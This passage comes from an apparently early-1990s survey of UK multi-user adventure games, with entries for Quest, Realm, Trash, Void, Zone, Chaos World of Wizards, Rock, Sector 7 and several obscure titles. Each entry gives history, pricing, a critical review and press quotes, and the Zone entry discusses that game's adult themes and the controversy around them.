pronoun ("me"). It will auto-abbreviate names, +which are unique in the first three letters (Avalon does a similar thing to +four letters), so "Geolin" can be shortened to "Geo" in all cases. This would, +however, appear to limit quite drastically the number of readable persona names +Prodigy can accept. + + Uncommonly among non-academic MUAs, Prodigy has its own in-built +mail/notes system as part of its command set. Almost invariably in other MUAs, +this function is carried out by an external program, being an activity not +conducive to maintaining atmosphere. Nevertheless, it does appear handy, and +may find its way into other MUAs after a while. + +Summary: + Prodigy is an average MUA, pleasant enough but nothing special. It will +increase in popularity as it is fleshed out, particularly because its author is +the MUA correspondent for Comms Plus! magazine. + +Quotes: + + "Parody is a fascinating game to play." + Pip Cordrey [owner] + + "The quickest way to get to Mage is to ignore spells completely, IF + you can survive without them!" + Pip Cordrey [owner] + + "The story line is a strong one, and the senior players are + attentive and available." + Pip Cordrey [owner] + + "'Oh good,' I hear you say. 'Maybe we'll see some serious + additions to the game with someone else writing.' But no - having + seen one of her puzzles it seems the game will continue in a + similar vein to its currently confused setting." + Blane Bramble [author] + + "Memory is fairly limited on the current machine, and if the memory + limit is reached the game will probably flame-out (crash and + burn)." + Blane Bramble [author] + + "If you are keen on fantasy and AD&D then you should investigate + this game." + Pip Cordrey [owner] + + +4.13 Quest. + +Name: Quest +Importance: 2 +Author(s): Phil Harling ("Amstar"), + Marcus Tyler-Moore ("Totty"), + Ady Parker ("Apollo"), + Ian Cumbers ("Legal"), + Pip Cordrey ("Pippin") +Location: IOWA +Pricing Structure: free + +Brief Description: + + +Historical Notes: + Originally entitled Quest 1, written in 1986 by Harling, then in his +early teens. Rewritten in 1987 for an Amstrad 6128, and again for an SBS PC +clone. In this latest incarnation, it was ported to IOWA. + +Review: + Quest is a game permanently in a state of never-progressing +development. It has around 300 rooms with more promised, and has had since +1988. Their descriptions are brief (often only one line), and there are +numerous incorrect spellings. Object descriptions are of a length that other +MUAs would use as their name, and they are folded together (eg. "You can see a +soggy snowball and a magic mushroom"). This all combines to make the game +rather unatmospheric. + + The gameplay is clearly an attempt to rationalise the idea of rolling +resets. Instead of a man in a white coat, Quest is run by a computer- +generated wizard called Taliesin. He creates and recreates the world, +recycling treasure by placing it back in play. Points are scored by dropping +objects down a bottomless pit, or, for higher-level players, giving them to +Taliesin's apprentice. This mobile is supposed to be a comic figure, and will +either pass the treasure on to Taliesin for reprocessing, drop it, or give it +back to the player. + + Quest claims to be the first MUA with gambling, since it has a system +where players can bet points on the results of gladiatorial combat in an +amphitheatre (although they can't themselves participate). When players do +fight, whoever is defeated will lose half their points if they were attacked, +or all their points if they started it. + + As with most MUAs, players can die silly deaths in Quest, eg. by +falling from a great height. The standard practice in this event is to quit the +player from the game and to fine them a small percentage of their points +(possibly 0%). Quest makes them lose the number of points since they last did +an explicit "save" command, since it has no automatic saving of score. This +can irritate players, who object to having to type "save" every so often while +they are exploring. + + Players in Quest can pick up objects, mobiles and each other. This +latter feature is generally regarded as inadvisable in MUAs except when +undertaken by wizzes, since it effectively renders a player captive and +immobile. Nevertheless, in Quest it is thought to be a pretty nifty trick. + + It is possible to send messages from Quest to players in MirrorWorld. +However, given the overall shoddiness of Quest, prospective players will +probably be in MirrorWorld anyway... + +Summary: + A shallow, narrow MUA that seems virtually abandoned by its programming +team. Were it given more attention it could be one of the better Slate games, +but as it is it's fossilised in a state of neglect. + +Quotes: + + "There are some nice touches to the game." + ACE [magazine] + + "Along similar lines to MirrorWorld, the game has managed to + introduce ideas of its own, and so has avoided the problem of + being thought a MirrorWorld clone." + Comms Plus! [magazine] + + "It certainly is a step onward from the original game he [Harling] + wrote, including some very imaginative features." + Pip Cordrey [owner] + + "The thing that is most unique is that it has a strong storyline + that makes the whole universe plausible." + Confidential [magazine] + + +4.14 Realm. + +Name: Realm +Importance: 2 +Author(s): Martin Hardcastle +Location: CompuNet +Pricing Structure: L1.50/hour + +Brief Description: + MUD1 clone, Tolkienesque. + +Historical Notes: + Launched with a fanfare in late 1989, but little publicity since then. +Its 17-year-old author took two years to write it. + +Review: + Realm is set in a fantasy world like that of Middle Earth, where a once +prosperous population has been devastated by natural disaster and overrun by +evil creatures. Players are humans, elves, dwarves etc., whose task is to amass +points in the usual treasure-finding/puzzle-solving/monster-killing fashion +until they reach the wiz level ("Immortal"). + + The game has a reputation for good, atmospheric descriptions, a usable +MUD2-style hierarchy of object classes, and a superbly detailed combat system. +Unfortunately, there is no guest account and you need to be a subscriber to +CompuNet to play it. + + Realm runs on a 1mb Atari ST. + + +Summary: + A good, traditional MUA, but without the backing it properly deserves +and somewhat overpriced. + +Quotes: + + "For my money, one of the best multi-user games." + Comms Plus! [magazine] + + "Realm is just the sort of game I'd hoped to see on CompuNet one + day. A true, traditional MUG in the style of MUD and Shades." + Alan Wright [player] + + "I liked it because it is very fair to slow, stupid beginners like + myself." + Alan Wright [player] + + "A world where magic works and heroes are as common as the monsters + they slay." + Martin Hardcastle [author] + + +4.15 Trash. + +Name: Trash +Importance: 2 +Author(s): Matthew Ward ("Ambushbug") +Location: Prestel +Pricing Structure: L4.80/hour 8am - 6pm + L1.20/hour 6pm - 8am + L19.80/hour on (0898) 100890 + +Brief Description: + Non-standard MUD1 clone, "humorous" setting. + +Historical Notes: + With Shades' success, Neil Newell set up a company (Third Millenium +Systems) to design and market MUAs. The first product to appear was Trash, +written in 1989 using Newell's MUGICK language. Despite being on +Prestel/Micronet, it has not been a hit. + +Review: + Trash was deliberately written to be funny. MUAs are meant to be +entertaining, so Trash goes all out to amuse with "wacky" descriptions and +"weird" premisses. Unfortunately, it tries too hard, and most of it really +isn't all that amusing. + + The objective is to collect trash (as opposed to treasure) and dump it +in an atomic furnace. For this, the players receive credits which can be spent +on restoring stamina, buying things, or on psionic powers. Psionic powers are +intended to be an encouragement to role-players, so ones playing evil personae +might concentrate on increasing their telekinesis or pyrokinesis psionics, +whereas good personae might focus on a power like faith healing. + + Although this may appear to be a standard MUA with just the names +changed (psionics=magic, trash=treasure, atomic furnace=swamp), there is +actually a fairly interesting structure lying beneath it. Players go up levels +not by accumulating credits, but by increasing their "promotional prospects". +By solving puzzles in the game, a player's promotional prospects are raised a +few percentage points. When the total reaches 100%, the player goes up an +experience level - there are 12 in all, the top being 'Lord/Lady'. Although +credits can be used to increase your chances of survival, they aren't intrinsic +to rising levels. + + Because of this puzzle-centred outlook, and the fact that higher-level +players get no reward for solving easy puzzles, Trash should attract the more +serious players who like ordinary SUAs, rather than just pure MUA addicts. +However, its self-conscious humour tends to drive such people away. +Nevertheless, Trash does have a larger number of puzzles than is common in +MUAs, and ensures that players need to have solved virtually all of them before +they reach the top level. + + The game does have some background information to justify why players +are performing their trash-seeking tasks, concerning endotropic levels of +small dimensions within the multiverse. These "small dimensions" are actually +pocket MUAs in the overall Trash scenario, and have a theme running through +them. Some are generic, eg. "Heavy Citadel of Metal" and "the Pyramid of +Tutan", but others poke fun at specific targets: "Shades of a land" spoofs +Shades; "Cabbages and Caves" does AD&D; "Off-Centre Earth" is Lord of the Rings +and "Starship Wantarise" is Star Trek. + + So why hasn't Trash been as successful as expected? Part of the reason +is its gameplay - not everyone is an adventure fan, and if there's no +alternative to problem-solving then they won't play. However, the main reason +is its setting - the forced atmosphere of crazy (ie. unfunny) humour grates +after a few minutes, and the strange logic of the game is too much of a +departure from reality for many players to consider fair. It may seem a good +joke for players to get a spaceship from a spaceship tree, but it's not really +the first thing you'd look for if you wanted to undertake interstellar travel. + + Trash runs an an IBM AT. + +Summary: + A good, puzzle-oriented MUA with an interesting alternative to +convention experience points, totally ruined by an inappropriate scenario. + +Quotes: + + "With a name like that, no-one can prosecute it under the Trades + Descriptions Act." + [Traditional] + + "The whole game is puzzle oriented, and takes one step closer to + being an adventure game for multiple players. Here, the + distinction between a MUG and a MUA becomes more pronounced." + Ace [magazine] + + "The puzzles range from easy to incredibly annoyingly difficult." + Confidential [magazine] + + "Trash is one of the strangest multi-user games around, combining + fire-breathing cabbages and inflatable hovercars with Matthew + 'Ambushbug' War's own inimitable style and humour." + Third Millenium Systems [promotional material] + + "Where else could you grow your own spaceship, meet fire-breathing + cabbages, teach machinery to hum in tune, cause pink blancmange to + rain from the sky, clamber through a giant statue and drive around + in an inflatable hovercar - while clearing up rubbish!?" + Third Millenium Systems [promotional material] + + "Couple the puzzles with large doses of humour and you get a game + that's both satisfying and highly enjoyable." + ACE [magazine] + + "Anything and everything may happen in the game, and though there + is always a certain logic in the background it may not be easy to + find." + Confidential [magazine] + + "Trash has been MUGICK's first big challenge, and I'm very pleased + with the results. Matt has really made MUGICK do some very strange + things indeed!" + Neil Newell MUGICK [author] + + +4.16 Void. + +Name: Void +Importance: 2 +Author(s): Clive Lindus ("Dirk") +Location: (0903) 700737 +Pricing Structure: free + +Brief Description: + Non-standard MUD1 clone, multi-setting. + +Historical Notes: + Lindus was a player of Zone, who became disillusioned with it and +decided to write his own alternative. Void was premiered two years later at the +Adventure 89 convention, and was launched in 1990. + +Review: + Void, like Trash, is a multi-setting game. Its linking scenario is that +reality rifts are being caused by the construction of an intergalactic +throughway, and that players can fall through these rifts into parallel worlds. +At present, Void consists of 450 rooms split into 9 environments (with another +due shortly) including a fairground, a school, an ice palace, Dodge City in the +wild west, and Narnia. This idea of connecting popular milieux together in one +consistent system has gained currency in face-to-face role-playing, and will +probably become one of the next fads in MUAs, too. + + Everything in Void is there as an aid to role-playing. It is not +really a game, since there is no real goal; instead, it is a framework to +promote imaginative interaction between players. There is, for example, no +combat, and thus the speed at which players progress through its twelve levels +is dependent directly on the amount of time they invest in accumulating points. +Alignment is explicit, either good or evil, and is not monitored by the game +(Avalon, on the other hand, determines alignment by what players do, not by +what they say they'll do). + + The emphasis on role-play is a pity in one way, because Void actually +has quite a good game system underlying it. Players' stamina decreases with +time, and is replenished by food and drink. Magical power, on the other hand, +increases over time and is reduced by the use of spells. Spells for each player +are kept in that player's personal spellbook, and even at the highest level +(arch angel or demon lady/lord, depending on alignment) not all spells are +available. Thus, other players are unknowns - a rather attractive and realistic +idea. One-off spells can be obtained by reading appropriate scrolls. + + Points are of two types, magical and social. The former correspond +with points in other MUAs, the latter are just things that players get a few of +each week to give to their friends - there is no gameplay reason for having +them. Magical points are obtained in Gods-like fashion by offering them to the +ruler (ie. creator - usually an ex-Zone player) of the world you're in at the +time, at some appropriate location. + + Void has more depth than you'd expect - it can handle smells, for +example - but it is selective in that interaction between players is handled in +a far more detailed fashion than the rest of the game. It has, for example, a +modern switch facility, so that a string containing, say, "/Fred" will expand +to "Fred" for everyone except Fred, in which case it expands to "you". This can +be used to good effect in emotion commands, eg. "Growl at /Fred". + + The reason for this degree of attention to inter-persona messaging is +because it is Void's raison d'etre - the whole point of playing is to role-play +in imaginative ways with other players. Some of it is sexual, but on the whole +it is good-natured and fun, rather than the sometimes sordid behaviour which +goes on in Zone. A side effect is that some desirable commands usually left +out of MUAs are present in Void for effect - "dress" and "undress" are there, +which means "wear" is also present and is distinct from "get". Cash is part of +the game, and can be spent on various services, such as the "ogram" (sending a +message to another player by means of a transient messenger, eg. a kissogram). +Perhaps surprisingly, perhaps not, Void has a larger proportion of female +players than most MUAs. + + There is some humour written explicitly into the game, which can be +intrusive. Players can create their own prefixes, although there's no problem +with that because virtually anything they choose can be fitted into the +scenario, and even misspellings only add to the general feeling of fun. + + Player names can be abbreviated to minimum uniqueness, although there +are problems when this conflicts with command names, and when other players +enter whose entire name is someone else's minimum. Void's players form a +small, tight-knit yet gregarious community, however, and if people do mess it +around they can usually be persuaded in friendly fashion to be a little more +thoughtful. Whether that would be possible with a larger user base seems +unlikely, though. + + There is a bulletin-board in Void that can be accessed from within the +game. Normally, this would be too dangerous for players to use - while they're +in the BB, their persona could be being attacked. However, since Void has no +fights, it's safe to have one there. + + Void has an unfriendly rivalry with Avalon, which it sees as poaching +its players - the game was deserted for a time when Avalon came out, and is +only now recovering due to Avalon's fragility. Some of Avalon's programmers +and gods are regarded as particularly arrogant by Void stalwarts. + + Void is hard-coded in Pascal, with text and object/room definitions +written externally in a simple database definition language. It has just four +external lines, and runs on two IBM ATs. + +Summary: + Void is really little more than a virtual reality to encourage +role-playing, often of the flirtatious type but by no means restricted to that. +With some concessions to gameplay and a few puzzles, it could really get to be +quite good, however its author, Clive Lindus, seems happy with what he has - a +light piece of variety with a warm nose. + +Quotes: + + "The availability of different realms is an interesting alternative + to offering several different games." + Comms Plus! [magazine] + + "There are quite a few touches of humour in the game." + Comms Plus! [magazine] + + "I like it! Wonderfully inventive and atmospheric." + Lizandith [player] + + "The main idea of the game is enjoyment, and how you achieve this + (as long as it doesn't stop someone else enjoying themselves) is + up to you." + Void [promotional material] + + "I try to take a back seat and let players get on with + role-playing. The best way is for me to play as well. I think all + this "I'm the coder" rubbish puts people off." + Clive Lindus [author] + + "This game is truly run for the players: no charge to play, and + relying on players' ideas to improve it. Before you worry about + Avalon, spare a thought for Void - I think it deserves its fair + quota of players as well." + Clive Lindus [author] + + +4.17 Zone. + +Name: Zone +Importance: 2 +Author(s): Chris Butterworth ("Gandalf") +Location: Lap of the Gods +Pricing Structure: L0.575/hour or + L11.50/month flat fee + +Brief Description: + Non-standard MUD1 clone, debauchery setting. + +Historical Notes: + Butterworth was playing Shades when another player suggested that +someone should write an adult MUA. Zone was finished in 1987, and went live +independently (with only two external lines). In 1988, it moved to the Lap of +the Gods system. + +Review: + Zone is short for Erogenous Zone. It is a MUA deliberately written to +be "adult" and controversial, and succeeds admirably in both areas: +over-reaction by BT to the threats of self-styled "moral guardians" could +eventually lead not only to the removal of Zone from the telephone network, but +also of every other MUA. Zone could then use its notoriety to flourish abroad, +but most other MUAs would simply die. That Zone will best succeed in the long +run by annoying the anti-pornographic lobby and getting banned perhaps +explains its stalwart refusal to make all but the most token gestures towards +ensuring that people aren't offended. + + In Zone's case, at least originally, it was intended to be +controversial only in that it was thought-provoking; more cynical approaches to +generate publicity by explicit lewdness had been suggested, however - most +notoriously CompuNet's now-abandoned After Midnight project. Zone has given way +to pressure to a minor extent in that it now asks players to state their age, +and won't let them play if they say they're under 18; however, it has no way of +verifying that people are telling the truth, and there have been suggestions +that the question could really be intended as more of a gimmick to entice new +players than as a demonstration of Lap of the Gods' responsibility. + + The game itself (and it is a game) is set in an old mansion, its +grounds, and a temple (dedicated to Sappho, a Greek poetess whose behaviour +gave rise to the word "lesbian"). Compared to other MUAs, Zone has a small +database and few items of treasure. Points can be scored by taking objects to +the temple altar and offering them to Sappho, but the main way for players to +increase their score is to do just that - score with the other players. + + Zone has a command "make love to ... ". Players have to get into the +right mood first by use of "cuddle" and "kiss" type commands, and the process +can be speeded up by consuming alcohol. Points are awarded depending on +location, participants, deflowering virgins, and who issued the "make love" +command. If a persona is being made love to and doesn't want to be (ie. is +being raped), there is a "stop" command - but it costs points to use. + + Lovemaking uses up stamina, which can be recovered by consuming food +and drink. Alcohol intake can have advantageous effects, but too much will +cause disorientation, and, beyond that, death. MUD2 has a more complete +treatment of alcoholic beverages (and, since it deals with liquids properly, +allows drinks to be diluted), but there is no advantage gained by drinking in +that game. In Zone, it's practically mandatory. + + There are twelve levels, the top being master/mistress. There are +arch-wizzes for game management purposes, although since mortals can do pretty +well everything except swear in Zone their position isn't very taxing. A nice +touch is that the game leaves its own messages of congratulations on the Zone +bulletin-board when someone reaches master or mistress. Although there is no +combat in Zone, players can lose points by seducing or being seduced by a +player of a much lower level. From a gameplay viewpoint, then, lovemaking is +Zone's equivalent of combat. + + Although Zone is a MUA in the traditional sense, these aspects of it +have been neglected in favour of its role-playing side. New objects are added +occasionally, but as props rather than as tools or treasure. For example, +kittens are a recent addition to Zone, but there's no way to score points from +them. Other objects have shared a similar fate. This is a shame, because, +like Void, Zone has some nice touches. Its parser is capable of distinguishing +between "drink cocktail" (meaning all objects present of class cocktail) and +"drink a cocktail" (meaning just one cocktail). Furthermore, it doesn't execute +all the bindings at once: there's a time delay. Thus, if you "drop all" and +then move after two objects have been dropped, the remainder of the "drop all" +will be abandoned. + + Although shallow in areas of gameplay, Zone provides many facility +which can promote role-playing by the players. As well as "dance with ... ", +"dress", "undress" and "hold hands with ... " commands, Zone has the latest +switch feature in its strings (as in Void, but with possessives handled too). +Magic is also like Void's, with spells costing magical power, and magical power +replenishing with time. It has two first-level spells, "where" and "summon"; +"summon" doesn't work on mobiles as they follow set paths when they move, and +would therefore become lost if derailed. + + Atmosphere is therefore all there is in Zone. The players, and the way +they choose to interact, are the only reason for playing it - as a game, it's +very thin. However, that makes it very vulnerable: 1990 has seen many of Zone's +customers departing for Void. They can't be lured back, because this kind of +sexual role-playing is virtually database-independent, and Void has a major +advantage over Zone in that it's free. The only way that Zone can survive in +the long term is by having more publicity than Void (eg. switching to the +Playboy bulletin-board), or by dropping its charges. + + Zone is written in SuperBasic and runs on a Thor (a Sinclair QL clone +with 3«" discs). + +Summary: + There is definitely a market for games like Zone, and a well-written +MUA along those lines could attract a large number of players. However, the +large networks won't touch it because of the moral backlash of so doing, which +could be expected from almost every pressure group in the country - religious, +social, political, academic, whatever. Whether this is fair on Zone is not for +this review to determine, however it would certainly be a gross error to tar +all MUAs with the same brush. + +Quotes: + + "In Zone, the idea is to make love, not war." + Lap of the Gods [promotional material] + + "It is friendly in the Zone - make no mistake about it. The nature + of the game dictates that all players interact to a great degree + after all!" + Ace [magazine] + + "I talked to a teenage girl who said that she had never been + pressurised into participating in anything in Zone." + Comms Plus! [magazine] + + "Fi [a female Federation II player] wasn't very impressed with + Zone's being oriented around sex, rather than its being a + side-line as it is in some other games. We wondered if perhaps + young people came away from Zone with inappropriate ideas about + relationships?" + Comms Plus! [magazine] + + "In the first 6 hours of being on-line, the game had a player + logged in for 5.75 hours. ... Over the next month, the players + proved that even a game with 65 rooms and a trivial amount of + treasure could be popular." + Chris Butterworth [author] + + "Since some people are a little touchy about the subject of making + love, you must be 18 or over to play this (and not touchy)." + Lap of the Gods [promotional material] + + "(Almost) in the words of one famous MUG - 'You haven't lived until + you've screwed in Zone'!" + Jhary [player] + + "[It is an offence to send] by means of a public telecommunications + system a message, or other matter, that is grossly offensive or of + an indecent, obscene or menacing character." + [Section 43.1(a), Telecom Act 1984] + + "British Telecom is concerned about the use to which a network is + put but it is not the guardian of the nation's morals." + BT spokesman [quoted in Popular Computing Weekly magazine] + + "The whole process is a product of the state of arousal of the + players, how drunk they are, and the state of their undress." + Ace [magazine] + + "We are certainly going to go down this [on-line pornography] + route when we have cleared some of the other things off the lines. + At the moment, the government is just washing its hands of this + sort of thing." + Terry Lewis [MP for Worsley] + + "The game is ADULTS ONLY, as it involves large amounts of drinking + and sex - which can make for quite funny games. A bit weird to get + used to..." + Comms Plus! [magazine] + + "It is NOT a dating agency, and anyone using it as such faces ... + legal action." + Lap of the Gods [promotional material] + + "On-line porn is freely available to youngsters." + Headline in Popular Computing Weekly [magazine] + + +4.18 Chaos World of Wizards. + +Name: Chaos World of Wizards +Importance: 3 +Author(s): Pip Cordrey ("Pippin"), + Nat Billington ("Natso"), + Lorenzo Wood ("Penfold"), + Phil Harling ("Amstar"), + ? ("Esoniq"), + ? ("Birax") +Location: IOWA +Pricing Structure: free + +Brief Description: + Standard MUD1 clone with facilities for all players to create rooms and +objects. + +Historical Notes: + Went live on IOWA in mid-1990. + +Review: + Chaos World of Wizards (or Chaos for short) is what Pip Cordrey terms a +MUPEG - a 'multi-user player-extensible game'. By that, he means it is a +normal MUA except that the players have the ability to create their own rooms +and objects. Although this is the main type of MUA available on the academic +networks, few games in the UK industry work that way. As usual for games on +IOWA, a claim is made that the idea originated there, and that those games +which do provide facilities for players to add rooms are taking on board IOWA's +suggestions. In actuality, the notion is not new: the second version of MUD1 +had it back in 1979. + + Chaos is in its early stages at the moment, and is therefore fragile +and incomplete; however, even when it is finished it is likely to be very +shallow and not especially broad. A manual for its design language is promised, +but at present the only information available is the rather limited help coded +into the MUA itself. This shows that rooms and objects have two buffers, for +long and short descriptions. One buffer is selected, and text is appended to +it a line at a time. A "clear" command will empty a buffer, but there are no +other editing commands. When both buffers are full, the player can either +"makerm" or "makeobj". Judging by the small number of commands listed, it seems +that the on-line definition language works by currying object types into the +commands, eg. "killrm" works on rooms but not objects. This implies that the +system makes a fundamental distinction between rooms and objects, and thus is +both inflexible and limited in the long run. + + Given that this is the central feature of Chaos, it is surprisingly +weak. The only property of an object that can be set is its value, and +therefore the only use objects can have at present is as treasure. There are +no instructions on how to link rooms together, but there is a "rmexit" command +mentioned which may do it. All these features, and many more, are present in +MUD2; the two ways that Chaos differs are that objects are created permanently, +and that anyone can create them, even novices. + + Because the game is in its infancy, much of the hype surrounding it is +of the "eventually, you'll be able to..." kind. Some of these claims are +reasonable, but others show a deep misunderstanding of how people play MUAs. +Chaos is envisaged as combining the object-creation part of a MUA with the +actual playing of the game. Thus, players can fight one another +conventionally, but will have to create any weapons themselves. They can create +spells to use against one another, and design counter-spells for defence. +Unfortunately, all this is idealistic nonsense: either the spells or weapons +will all be of maximum devastation, or there will be a limited number of +predefined types which players can combine in strictly determined ways. The +suggestion that players will willingly create low-damage weapons so that they +can role-play with them better is ludicrous - some players may do that, but it +only takes one not to and the whole game is compromised. + + Cordrey sees the game as evolving, unlike TinyMUD, by introducing a +form of meta-combat where players can destroy or take control of one another's +creations. This seems a suitably grand thing to do, but it reduces the MUA to a +simple strategy game in a godlike setting. It also makes the game very +difficult for newcomers who wish to build their own rooms yet are powerless +against the might of long-standing players. People will also find it difficult +to play the game like a normal MUA if such large-scale events are happening all +the time, especially if they can't take part in them at that level. + + There is no requirement that Chaos rooms are all from the same milieu, +so SF worlds can coexist with fantasy ones. This is attractive, but not when +objects from those worlds cross over - a SF weapon against a roman shortsword +would be no contest, for example. Some of the other suggestions, eg. that +players should create room complexes and then play in them normally, are also +naive - the urge to cheat is too strong. Besides, if people wanted to do that +then they'd be better served by a SUA-design program, of which many are on the +market. + + Finally, Chaos is promised a means by which players will be able to +create mobiles, program them, and give them their own personalities. Like +spell-creation, this involves writing program code, and that involves either +highly advanced exception-handling or completely infallible programmers. +Unfortunately, neither solution is likely to be available. + + Chaos World of Wizards runs on a Sun workstation. + +Summary: + Allowing complete novices to create rooms is a dubious enough activity +at the best of times. The way Chaos hopes to merge such activities with those +of normal MUA-playing dooms it to failure. Its ideas are attractive, but fly in +the face of reality. Some good will come out of it, for example talented +writers will probably emerge; however, without violent changes to its basic +premisses, Chaos will burn itself out after a couple of years of intensive use. + +Quotes: + + "As well as a peaceful distraction from the mayhem of playing a + 'real' MUG, Chaos should be an interesting long-term project as + the game unfolds in the way the players themselves wish." + Comms Plus! [magazine] + + "One of the problems with MUPEGs is that they become disjointed and + dog-eared if not adequately controlled. Some of the games now have + a committee which authorises players to link their particular + development area with the body of the game." + Pip Cordrey [owner] + + "If this [acquiring other players' creations] is well implemented + it could make Chaos extremely interesting as alliances shift and + diplomacy replaces treasure-hunting." + Comms Plus! [magazine] + + "Since I first introduced the idea and later wrote about it in + Confidential, a number of traditional MUGs have adopted some of + the ideas and are introducing MUPEG-like features." + Pip Cordrey [owner] + + +4.19 Rock. + +Name: Rock +Importance: 2 +Author(s): Phil Fox +Location: Essex University +Pricing Structure: free + +Brief Description: + Standard MUD1 clone in a Fraggle Rock setting. + +Historical Notes: + The first game written for the MUD1 interpreter by someone who didn't +work on MUD1 itself, around 1983. + + +Review: + Rock is 100 rooms of fantasy set in the Fraggle Rock milieu. It +includes most things present in the TV series, along with some rather inventive +weaponry that stretched MUDDL to its limits (eg. an electric drill you make +yourself out of various components found lying around). + + Rock was lost for several years, but was discovered on some ancient +back-up tapes and reconstructed. + + For further details on MUDDL, see the review of MIST. + +Summary: + Small, quirky and surprisingly violent game in a fun (but unlicensed) +setting. + +Quotes: + + "Rock is based on ITV's Fraggle Rock, and is generally regarded to + be impossibly deadly!" + Micro Adventurer [magazine] + + "Even at Essex University, different types of MUD have sprung into + existence, with Rock being the first 'unofficial' MUD." + An Introduction to MUD [book] + + +4.20 Sector 7. + +Name: Sector 7 +Importance: 3 +Author(s): Nigel Hardy ("Quinch") +Location: (081) 952 5128 +Pricing Structure: free + +Brief Description: + Standard MUD1 clone, cyberpunk setting. + +Historical Notes: + Demonstrated at Adventure 89 as Dark City, it was originally an +experiment in MUA-writing. It presently runs on the author's bulletin-board, +but as a SUA as the system has only one external line. + +Review: + Sector 7 was written in the three weeks prior to the Adventure 89 +convention. Its atmospheric cyberpunk setting gained it many admirers, despite +the fact that at the time it had no fighting, no mobiles, no way to progress, +and few puzzles. + + The main purpose of writing the game was to learn how it could be done. +Hardy had no wiz experience in any games, and used Shades as a model. +Nevertheless, Sector 7 has some features beyond Shades' capabilities, including +on-line editing of objects and rooms. + + Sector 7 is written in GFA Basic and runs on a 1mb Atari ST with a 40mb +hard disc, multiplexed by an IBM PC. + +Summary: + A shallow, narrow, simple game that convincingly demonstrates both how +easy a basic model MUA is to write, and the enormous potential of a cyberpunk +setting. + +Quotes: + + "It was originally written as an exercise for myself, to see if I + could do it; the feedback at Adventure 89 where I demoed it was + enough to keep me working on getting it going." + Nigel Hardy [author] + + "It can be used as a simple introduction to MUGs which won't cost + much." + Nigel hardy [author] + + +4.21 Other MUAs. + + The MUAs presented in this subsection exist, but little is known about +them - a flier, a message on a bulletin-board, a magazine article. They are +included here in case they reappear in the near future. None were available for +playtesting at the time of this report's writing. + + Only those parts of the review header which can be filled in are given. +All are of the third rank in importance. + + +Name: AMP + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + One of the first (if not the first) MUAs written by a MUD1 player. +Last seen at Adventure 89, but probably still running happily somewhere. + +Review: + AMP's present location is unknown, and there is no publicity material +concerning it. + + AMP pioneered the use of shape as a property of objects to determine +whether they fit inside containers. + +Summary: + Friendly (if dated) MUA with good depth. + + +Name: Daemon Adventure + +Brief Description: + Standard MUD1 clone, multi-setting. + +Historical Notes: + Only known appearance - Adventure 89. + +Review: + The flier for Daemon Adventure describes it as one of a series of MUAs, +based on 10 different play areas combined together to form a games world with +over 2,000 locations. These include Arthurian, Egyptian, Western and +Futuristic areas. Thus, it is similar to Trash and Void in combining several +milieux into one. That said, it concentrates heavily on magic, quests, and +(presumably setting-independent) combat. + + Great play is made of the fact that the game has many mobiles, and that +these are programmed to perform tasks. Some are friendly, others are not, and +they may even fight one another. None of this is new to second-generation MUAs, +so it hints at Daemon Adventure's having been written by a player of Shades, +MirrorWorld or similar. + + There are no resets in the game, and the persona file keeps location +and inventory details; although standard practice in SUAs, this rarely works in +a MUA, as it removes objects from play and thus renders some puzzles +unsolvable. How areas are reclaimed once played out is not explained. + + Daemon Adventure boasts a fast response time and "the latest in +multi-user software techniques", allowing it to support 50 players at once. + +Summary: + Many of Daemon Adventure's claimed features are probably vapourware. +However, if they are fully implemented the game may prove successful. Some +aspects of the game will need to be thought through more deeply, however - +overall, there is a decided aura of "group of enthusiastic amateurs" about the +project. + +Quotes: + + "The multi-user, multi-world, multi-game environment." + QuestRole [promotional material] + + +Name: Future Life +Author(s): Dave Mager ("Slime") +Location: Lap of the Gods +Pricing Structure: L0.575/hour or + L11.50/month flat fee + +Brief Description: + SF setting. + +Historical Notes: + Appeared late 1990. + +Review: + There has been no publicity surrounding Future Life. It appears to be +in alpha-test at the moment, and is therefore unplayable by outsiders. + +Quotes: + + "Future Life is a game written by Slime, which nobody (least of all + Slime) knows much about yet." + Lap of the Gods [promotional material] + + +Name: Imperium +Location: Red Star BBS +Pricing Structure: free + +Brief Description: + SF MUA. + +Review: + Imperium is advertised on several bulletin-boards, but its host system +has not been up for several weeks, and no information about it is available +other than the fact it exists. + + +Name: Mage +Author(s): D. Harris ("Brangdon") + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Only known appearance - Adventure 88. + +Review: + Mage is a MUA with a strong plotline - protecting a remote city from +monsters in the absence of its missing, magic-wielding feudal lord (the +"mage"). It consciously draws on ideas from face-to-face fantasy role-playing +games, and so includes skills, money and magical artefacts. + + The eventual goal of players is to find out what happened to the +missing mage. This is uncharacteristic of MUAs - it would seem that once one +person has learned the secret, the game should be effectively over for +everyone. Even if it involves elevation to a higher plane (ie. a wiz level), +keeping the secret will inevitably prove impossible. + + Mage is written in C and runs on an unmodified AT clone. + +Summary: + Mage appears to be a single-user role-playing game at heart. +Nevertheless, it is interestingly different enough to be worth a look if it +ever does make a public appearance. + +Quotes: + + "The very best may undertake the greatest challenge - to discover + exactly what has happened to the missing mage." + Mage [promotional material] + +Name: MUG +Location: Red Star BBS +Pricing Structure: free + +Review: + MUG runs alongside Imperium. See the review of Imperium for more +details. + + +Name: Spacers +Author(s): Pip Cordrey ("Pippin") + +Brief Description: + MUD1 clone, SF setting. + +Historical Notes: + First mooted in 1989, but yet to be implemented. + +Review: + Spacers a forthcoming game on the IOWA system. It started off as an +attempt to rationalise the idea of rolling resets, and grew (but not very far) +from there. Its setting is a space station which has fallen into disrepair and +become inhabited by Mad Max vagrants and hostile aliens. Players are rewarded +for mending the broken hardware, or replacing it with parts from a store-room; +after a while, whatever has been repaired breaks down again, thus giving the +rolling reset. Points are also obtained for eliminating aliens. + +Summary: + An interesting alternative to normal treasure-collecting games: +instead of moving objects from all over the place to a central location, it +involves moving objects from a central location to all over the place. A neat +conceptualisation of rolling resets, but it doesn't appear to address the main +problem of such systems - they aren't adept at handling complex puzzles. If +it's not written in Slate, it should be worth a look. + +Quotes: + + "Although still in its infancy, the game will add another dimension + to the growing world of Pip Cordrey." + Confidential [magazine] + + "Since the station is in a constant state of breakdown, it is no + surprise when the same equipment repeatedly malfunctions, and the + story holds together very well." + Pip Cordrey [author] + + +Name: Strata +Author(s): Nic Alderton + +Brief Description: + Standard MUD1 clone, SF setting. + +Historical Notes: + Only known appearance - Adventure 89. + +Review: + Strata is another MUA built on promises. Its main thrust is size: it is +envisaged as having 8,000 locations with full descriptions, including 